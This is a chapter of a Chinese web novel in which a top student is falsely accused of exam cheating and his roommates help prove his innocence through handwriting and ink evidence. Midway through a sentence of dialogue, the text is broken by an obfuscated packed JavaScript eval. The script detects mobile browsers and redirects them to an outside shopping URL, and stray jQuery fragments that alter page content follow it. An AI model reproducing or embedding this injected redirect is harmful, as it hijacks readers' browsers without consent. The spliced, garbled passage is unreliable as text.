期末考试成绩出来的那天，林文斌拿了全系第一。


    不是并列，不是侥幸，是实打实的、甩开第二名好几分的那种第一。一等奖学金，一百五十块。在那个月伙食费只要三十块的年代，一百五十块是什么概念？是马俊才半个学期的生活费，是李学俭从牙缝里省出来的全部家当，是张卫国帮他爹杀三头猪都攒不下来的数字。


    消息是周明远从公告栏带回来的。他推开门的时候，脸上的表情不像高兴，倒像是被人打了一拳。“老四，你第一。一等奖学金。”


    寝室里炸了。马俊才从上铺跳下来，鞋都没穿，光着脚在地上蹦。“老四！你请客！锅包肉！七份！”


    林文斌正在看书，头都没抬，翻了一页。“嗯。”


    “你嗯啥？你第一！全系第一！”马俊才把他的书一把抢走，“你就不激动？”


    林文斌抬起头，看了他一眼，把书拿回来，翻到刚才那一页。“激动。”


    “你看你这表情，哪像激动？你这叫面瘫。”


    “面瘫也是激动。”


    张卫国从上铺探出头来：“老四，你别听老二的，他就是想吃锅包肉。”


    “你不吃？”马俊才瞪他。


    “俺也吃。但俺不像你，馋得跟什么似的。”


    “你不馋？上次食堂红烧肉你一个人吃了三份。”


    “那是俺体力消耗大。”


    “你消耗啥了？”


    “睡觉。睡觉也消耗体力。”


    两个人又拌上了嘴。林文斌没理他们，继续看书。但我注意到他翻页的手停了一下，嘴角微微翘了一点。那弧度不大，但在林文斌脸上，已经算是大笑了。


    奖学金还没捂热乎，麻烦就先来了。


    第二天上午，辅导员孙健把林文斌叫到了办公室。他回来的时候脸色不太好，不是生气，是那种被什么东西噎住了、咽不下去也吐不出来的表情。他走到桌边坐下，把手里的一张纸放在桌上。


    “老四，咋了？”张卫国问。


    “有人举报我期末考试作弊。”他的声音很平，平得像没风的松花江面。


    寝室里安静了。马俊才从上铺跳下来，鞋都没穿，光着脚站在地上。“谁？谁举报的？举报你啥？”


    “说是有人在考场看到我传纸条。举报信里附了一张纸条，上面写的是一道题的答案。”林文斌把那张纸推过来，是一张复印的纸条，上面写着几行公式。字迹潦草，但能看出来，写得挺工整。“孙老师说，字迹鉴定结果说，很像我的字。”


    “很像就是不是。不是就不是。”马俊才急了。


    “孙老师说要进一步调查。在调查结果出来之前，奖学金暂时冻结。”


    林文斌把这段话说完，拿起桌上的书，翻开，继续看。他的眼睛盯着书页，手指在书边轻轻摩挲着。那本书他已经看了很多遍，书页被他翻得起了毛边。他不是在看，是在等。他的手指在书页上停了很久，一个字的没翻过去。


    **有些委屈，不是喊出来的，是咽下去的。林文斌把那张举报信咽下去了，但他没消化，它卡在嗓子眼里，上不来，下不去。**


    那天晚上，我们开了个寝室会议。张卫国把门关上，马俊才把窗户关上，赵志远把台灯拧亮，周明远把椅子摆成一圈。七个人围坐在一起，像开圆桌会议。李学俭缩在角落，手里还攥着单词书，但一个字都没看进去。他的指节攥得发白。


    “老四，你把事情从头到尾说一遍。”赵志远第一个开口。


    林文斌想了想。“期末考试最后一门，生理学。有一道大题，是关于肾小管重吸收的。标准答案用的是A方法，我用的是B方法。两种方法都能解，但B方法更简洁，步骤更少。我在草稿纸上把B方法推导了一遍，然后把答案写在试卷上。那张纸条，上面写的也是B方法的答案。但不是我写的。因为我在考场上根本没有用过纸条。”


    “那纸条上的字迹呢？”我问。


    “他们说很像我的字。但不是。”


    “你怎么确定？”


    “因为我的‘解’字，最后一笔是往上挑的。纸条上的‘解’字，最后一笔是平的。”林文斌从抽屉里抽出一张草稿纸，写了一个“解”字，又指了指举报信复印件上的“解”字，“你们看，不一样。”


    马俊才凑过去，看了半天。“确实不一样。你的‘解’字像翘尾巴，他的‘解’字像被踩了一脚。”


    “那这个纸条是谁写的？”张卫国问。


    林文斌没回答。他看着那个“解”字，眉头皱了一下，又松开了。“不重要。重要的是，字迹鉴定的人没注意到这个区别。他们只看整体相似度，不看细节。”


    赵志远站起来，走到林文斌桌前，把那张草稿纸和举报信复印件并排放在一起，看了很久。“老四，你平时用什么笔？”


    “圆珠笔。丰华牌的，蓝色的。”


    “纸条上的字迹，用的是哪种笔？”


    林文斌把举报信复印件凑到灯下，仔细看了看。“也是圆珠笔。但颜色不一样。我的笔是深蓝，这个是浅蓝。可能是另一种牌子的。”


    赵志远转过头，看着马俊才。“老二，你明天去学校小卖部问问，哪种圆珠笔是浅蓝色的墨水。顺便问问最近有没有人买那种笔。”


    马俊才点了点头。


    **一个人可以模仿你的字，但模仿不了你的习惯。林文斌的“解”字翘尾巴，翘了十几年，改不掉。那个写举报信的人不知道。**


    *马俊才的调查很快有了结果。


    学校小卖部卖的圆珠笔只有两种，一种是他常用的丰华牌深蓝，另一种是杂牌的浅蓝。杂牌圆珠笔的墨水颜色偏淡，写出来的字容易洇纸。老板说，这种笔不好用，买的人不多。上学期一共卖出十七支，其中有一支是临床系的学生买的。


    “谁？”林文斌问。


    马俊才翻开笔记本，念出一个名字。不是隔壁寝室的，也不是同班的，是另一个班的。林文斌不认识这个人，甚至没听说过。他皱了皱眉，像是在脑子里搜索这个名字，没搜到。


    “这个人上学期期末考坐在你后面隔了两排。他生理学挂了，补考也没过，这学期要重修。”马俊才又翻了一页。


    寝室里安静了。张卫国攥着拳头，指节嘎嘎响。“老四，你被人当垫脚石了。他考不过，就想把你拉下来。你拿不到奖学金，他心里就平衡了。”


    林文斌没说话。他把那张举报信复印件拿起来，又看了一眼那个“解”字。最后一笔是平的，像被踩了一脚。他把纸放下，拿起笔，在本子上写了一个“解”字，最后一笔往上挑，翘得高高的，像一个得意的小尾巴。他把两个字放在一起对比，看了一会儿，然后把本子合上。


    那天下午，林文斌去了教务处。他把自己的草稿纸、笔记本、试卷复印件、圆珠笔，连同马俊才调查到的小卖部销售记录，一并交给了辅导员孙健。他没有提那个学生的名字，只说了一句：“纸条不是我写的。我的‘解’字不一样。你们可以请笔迹鉴定专家再看一遍。另外，纸条上的墨水是浅蓝色，我用的笔是深蓝色。这两种墨水在紫外灯下会显示不同的荧光反应。教务处应该有这个设备。”


    孙健老师看了他一眼，拿起那支丰华牌圆珠笔，又看了看举报信复印件。“你怎么知道这些？”


    “我妈是护士。她说过，不同的墨水在紫外灯下颜色不一样。我想教务处应该有这个设备。”


    孙健老师沉默了一会儿，拿起电话，拨了一个号码。


    三天后，调查结果出来了。纸条上的墨水和林文斌的圆珠笔不匹配，字迹鉴定专家重新比对后，确认“解”字的笔迹特征存在明显差异。举报不成立，奖学金恢复。那个写举报信的学生被叫到了教务处，承认了自己因为嫉妒而诬陷的事实。学校给了他记过处分。


    林文斌拿到调查结果的时候，正在图书馆看书。张卫国跑上去告诉他这个消息，他“嗯”了一声，继续看书。张卫国急了。“老四，你清白被证明了，你不高兴？”


    “高兴。”


    “那你笑一个。”


    林文斌抬起头，看了张卫国一眼，嘴角微微翘了一下。那弧度不大，但那是他这几天来第一次笑。张卫国看着他那个笑，也跟着笑了，笑得很用力，露出两排白牙。


    那天晚上，林文斌兑现了请客的承诺。


    不是周末，但他等不及了。他请我们吃了锅包肉，七份，每人一份。他把饭盒摆在桌上，金黄酥脆的肉片冒着热气，酸甜的味道弥漫在整间寝室里。他夹起一块，放进嘴里，嚼了很久。


    “好吃。”他说。


    “你每次都说好吃。”张卫国说。


    “这次不一样。这次的锅包肉是我用一等奖学金换的。”


    “你不是说一等奖学金要寄给你妈吗？”


    林文斌放下筷子，从口袋里掏出一张汇款单，放在桌上。“寄了。寄了一百。剩下五十，请你们吃锅包肉。”


    马俊才拿起那张汇款单看了一眼，又放下。汇款单上写着“北京，林文斌妈妈收”，金额一百元整。他的手指在汇款单上停了一下，然后推回去。


    “老四，你寄一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648816|206845||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    百给你妈，你妈高兴不？”


    “不知道。她还没收到。”


    “等她收到了，肯定高兴。”


    林文斌没说话。他夹起一块锅包肉，塞进嘴里，嚼得嘎吱嘎吱响。窗外的蝉叫得更响了，但听着不烦了。


    张卫国端起搪瓷缸，里面是白开水，他举起来。“老四，俺敬你一杯。不是为了你请客，是为了你清白。”


    马俊才也端起缸子。“敬你。”


    周明远端起缸子，没说话，碰了一下。


    赵志远端起缸子，碰了一下。


    李学俭端起缸子，小声说：“四哥，敬你。”


    我端起缸子，碰了一下。


    七只搪瓷缸碰在一起，声音钝钝的，不好听，但实在。林文斌仰头把白开水干了，呛得咳了两声。他抹了一下嘴，笑了。这次的笑不是微微翘嘴角，是咧开嘴的、露出牙齿的笑。


    “老四，你笑起来真难看。”马俊才说。


    “比你英语四级卷子好看。”


    “你提那个干嘛？”


    “提醒你，你还有六级要考。”


    马俊才的脸垮了。“你能不能别哪壶不开提哪壶？”


    “哪壶开了提哪壶。你四级开了，该提六级了。”


    马俊才无言以对。


    那天晚上熄灯后，林文斌躺在床上，忽然说了一句：“哥几个，谢谢。”


    “谢啥？”张卫国闷声问。


    “谢你们相信我。”


    “你被举报的时候，我们要是怀疑你，那还是兄弟吗？”


    林文斌没回答。过了一会儿，他说了一句：“那支杂牌圆珠笔的事，你们别跟别人说了。他已经受了处分，够了。”


    马俊才从上铺探出头来。“老四，你就这么算了？”


    “算了。不是饶了他，是不想让这件事再浪费我的时间。”


    马俊才愣了一下，把脑袋缩回去了。床板咯吱响了一声，然后安静了。


    窗外的月亮很亮，把整个寝室照得白晃晃的。林文斌桌上那张汇款单的存根还在，上面写着“北京，林文斌妈妈收”。他寄了一百块，够他妈妈买一件新棉袄。


    真正的学霸不怕被查。因为他的每一步都走得踏实，每一笔都写得清楚。他的“解”字翘尾巴，翘了十几年，改不掉。那是他的签名，也是他的底气。**


    兄弟之间的信任，比任何证据都管用。林文斌被举报的时候，我们没有一个人怀疑他。不是因为我们了解他，是因为我们知道，他不是那种人。**


    一等奖学金，一百五十块。林文斌寄了一百块给妈妈，剩下五十块请兄弟们吃了锅包肉。他说，锅包肉是甜的，甜要大家一起吃。**


    后来林文斌收到他妈妈的回信。信很短，只有一行字：“文斌，钱收到了。妈不用新棉袄。你留着花。但妈很高兴。不是因为你寄了钱，是因为你想到了妈。”


    林文斌把那封信看了一遍，折好，塞进枕头底下。和那张一等奖学金证书放在一起。证书上写着他的名字，烫金的字，在月光下闪着细碎的光。


    那支杂牌圆珠笔的墨水是浅蓝色的，林文斌的笔是深蓝色的。两种颜色在紫外灯下，一个发蓝光，一个发绿光。教务处的人把两张纸条放在灯下，一眼就看出了区别。


    举报林文斌的那个学生，后来再也没有出现在我们的视线里。他转了专业，去了别的系。马俊才说他是“没脸见人”，林文斌说“不是没脸见人，是不想见到我们”。张卫国说“那不一个意思吗？”林文斌说“不一样。没脸见人是他的问题，不想见我们是我们的问题。”张卫国想了半天，没想明白哪里不一样，但他没再问了。


    那天晚上，马俊才翻来覆去睡不着。他从上铺探出头来，小声问了一句：“老四，你说那个举报你的人，他现在在想什么？”


    “不知道。”


    “你说他后悔吗？”


    “不知道。”


    “你说他以后还会不会再举报别人？”


    林文斌沉默了一会儿。“不知道。但跟我没关系了。”


    马俊才把脑袋缩回去了。窗外的月光照进来，落在林文斌的枕头上。他已经睡着了。呼吸均匀，眉头舒展，嘴角微微翘着。他睡着的时候，比醒着的时候看起来年轻。醒着的时候，他总是皱着眉，像是在想什么很重要的事。睡着的时候，他什么都不想，只是一个二十岁的年轻人。


    有些人把时间花在嫉妒别人上，有些人把时间花在让自己变强上。林文斌花了一年让自己变强，那个人花了一年让自己变得更弱。时间不骗人。